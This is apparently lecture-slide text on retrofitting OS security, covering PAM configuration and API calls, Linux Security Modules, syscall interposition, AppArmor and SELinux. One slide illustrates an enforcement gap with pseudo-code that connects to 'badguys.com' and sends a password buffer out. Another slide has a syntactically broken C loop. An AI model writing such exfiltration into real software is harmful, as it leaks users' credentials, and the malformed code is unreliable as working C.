Retrofit Security in Existing Systems

• **Upside**
  
  • Operating systems are costly to build from scratch
    • Hundreds of millions of dollars
  
  • Some become popular
    • Already lots of applications
    • A user community

• **Downside**
  
  • “Design for security”
  
  • Will applications still work?

• *Is this better than building a new system?*
Retrofitted Systems

- Lots of examples
- Originally, tried to run commercial systems emulated on secure systems
  - Performance was terrible
- Retrofitted
  - VAX/VMS
  - IBM VM/370
  - Mach Microkernel
  - Other Microkernels
  - Various UNIX Systems
- Trusted Solaris is the main success
Linux Security

- Build a *protection system* for Linux
  - Bottom-up from a variety of services

- Reference monitor
  - **Linux Security Modules** framework
    - Provides interface for externally-defined reference monitors (LSMs)
    - Examples: AppArmor and SELinux

- Protection states and administration
  - LSMs define mandatory protection state
    - Services to build, modify, and install
  - **Pluggable Authentication Modules (PAM)** authenticate clients
Pluggable Authentication Modules

- Centralized authentication service for Linux/Solaris

- Advantages
  - Provides a common authentication scheme that can be used with a wide variety of applications.
  - Allows a large amount of flexibility and control over authentication for both the system administrator and application developer.
  - Allows application developers to develop programs without creating their own authentication scheme.

- PAM-ified application
  - Uses PAM authentication technique and configuration
  - Receives identity
PAM Authentication

- Authentication Architecture

![Diagram showing the PAM Authentication Architecture with PAM components for Remote, Local, and Application, and an Operating System at the bottom.]
### Pluggable Authentication Modules

- **Config files**: `/etc/pam.d/`

- For each PAMified application

- `su` (or `su --`) `/etc/pam.d/su` or `/etc/pam.conf`

```
<module interface>  <control flag>  <module path>  <module arguments>

#%PAM-1.0

auth  required  /lib/security/$ISA/pam_stack.so  service=system-auth
account required /lib/security/$ISA/pam_stack.so  service=system-auth
password required /lib/security/$ISA/pam_stack.so  service=system-auth
session required /lib/security/$ISA/pam_stack.so  service=system-auth
session  optional  /lib/security/$ISA/pam_xauth.so
```
PAM Concepts

• Module Interface

  • **Auth**: authentication
  
  • **Account**: management + authorization
    
    • Use service; password expire
  
  • **Password**: set and verify passwords
  
  • **Session**: configure session
    
    • E.g., mount home directory

• One module may provide all

  • `pam_stack.so` for each newrole interface

• Modules may be ‘**stacked**’
pam_unix.so

• **Auth**

  • Authentication

  • `pam_authenticate()` and `pam_setcred()` (RPC credentials)

• **Session**

  • Session logging

• **Account**

  • Check that password has not expired

• **Password**

  • Password update, includes cracklib to check strength
Control Flags

- **Required**
  - Must be successful
  - Notify after all modules on interface run

- **Requisite**
  - Must be successful
  - Notify immediately

- **Sufficient**
  - Result is ignored if failed
  - Pass if succeeds and no previous modules failed

- **Optional**
  - Result is ignored
  - Must pass if no other modules
PAM Usage

• PAMify an application
  • Must be able to modify the application code
  • Build with PAM libraries (libpam, libpam-misc, ...)

• Authenticate first
  • Build \texttt{pam\_handle\_t} data structure
  • Call \texttt{pam\_authenticate} (calls PAM module for authenticate)
    • Use \texttt{pam\_get\_item} to get authenticated identity

• Example
  • Call \texttt{pam\_authenticate} (uses module specified in config)
  • PAM gets username, password (or whatever)
  • Returns \texttt{PAM\_SUCCESS}
  • Use \texttt{pam\_get\_item} to get the actual identity
PAM Usage (con’t)

• Session management
  • `pam_setcred()` before open session
    • application-specific credentials to PAM
  • `pam_open_session()`
  • `pam_close_session()`
  • based on module specified in config

• Account management
  • `pam_acct_mgmt()`
  • based on module specified in config

• Password
  • `pam_chauthtok()`
  • based on module specified in config

• Q: Where is responsibility for correct authentication?
• **Syscall interposition**

  • Argument: all harm comes to system through system calls. Hence, if you regulate their use, you can implement policy.

  ```c
  For int = 0; i< 10; i++; {
    z += i;
    y = y/k;
    print "z y\n";
    z = 0;
  }
  ```

• **Systrace**: system for obtaining traces of system calls and ultimately defining a policy (ACLs, more or less).

• **Bluebox**: does largely the same thing, but allows you to define more abstract policy.
You have to expose all the semantics in the single enforcement layer

For example, think about the execve() system call

"/bin/echo" parameter leads to very different behavior than "/bin/sh" this is what buffer-overflow attacks exploit

You often need to duplicate a lot of state in enforcing some reasonable policies. Consider

```c
int sock = connect("badguys.com");
...

send(sock, &yourpasswordbuffer);
```

Little you can do to unless you keep track of relationship between sock and "badguys.com"
Linus’ Directive

• Following a presentation of SELinux to the Linux Kernel Summit
  – March, 2001

• Linus’s reaction
  – Linus Torvalds made a set of remarks that described a security framework he
    would be willing to consider for inclusion in the mainstream Linux kernel. He
    described a general framework that would provide a set of security hooks to
    control operations on kernel objects and a set of opaque security fields in kernel
    data structures for maintaining security attributes. This framework could then be
    used by loadable kernel modules to implement any desired model of security.

• Result
  – Project to build a reference monitor interface in that manner
Linux Security Modules Framework

• Traditional Reference Monitor in Linux
Linux Security Modules

- **Usage**
- **Others:**
  - POSIX Capabilities Module
  - Stacking and Auditing
SuSE AppArmor

• Aim: confine root processes connected to the network
  – Sub-aim: Enable these to be setup easily

• AppArmor is an LSM
  – Policies are called *profiles* per daemon
    • Policies include POSIX capabilities and files
    • Are these policies comprehensive?
  – Policy generation tools are an emphasis
    • Run program in *learning mode*
    • *Log analysis program* queries user regarding log

• Extras
  – Domain transitions (same, program, unconfined)
  – Scan for network programs to add controls
  – Keyboard and mouse input programs
SELinux Origins

- NSA had several retrofitting projects
  - Distributed Trusted Mach
  - Distributed Trusted Operating System (Modified Mach)
  - Flask (based on Utah’s Fluke Microkernel)

- Problems
  - Mach had performance problems
  - Flask had no applications

- In 1999, began retrofitting the security architecture to Linux
  - Now part of RedHat Linux by default
Object managers enforce policy, security servers make decisions about policy

Clients are programs that are using the OS

The Flask architecture
SELinux

- SELinux is the NSA “open source” version of the flask operating system.
- Implemented as a Linux Security Module (LSM)
  - LSM provides \textit{hooks} into low level operations (e.g. inode permission)
  - Uses defined security policy to determine if the Subject (process) can act upon the Target (e.g., inode)
- Objects are labeled with the 3-tuple (User:Role:Type)
  
  \texttt{% setfattr -n security.selinux /etc/shadow}
  \texttt{security.selinux="system_u:object_r:shadow_t\000"}

- A good implementation of security, but not provably secure
  - Really implements lots of good techniques, but nobody knows if the sum total is actually secure
- Expect to see more of these kinds of clean policy interfaces in operating systems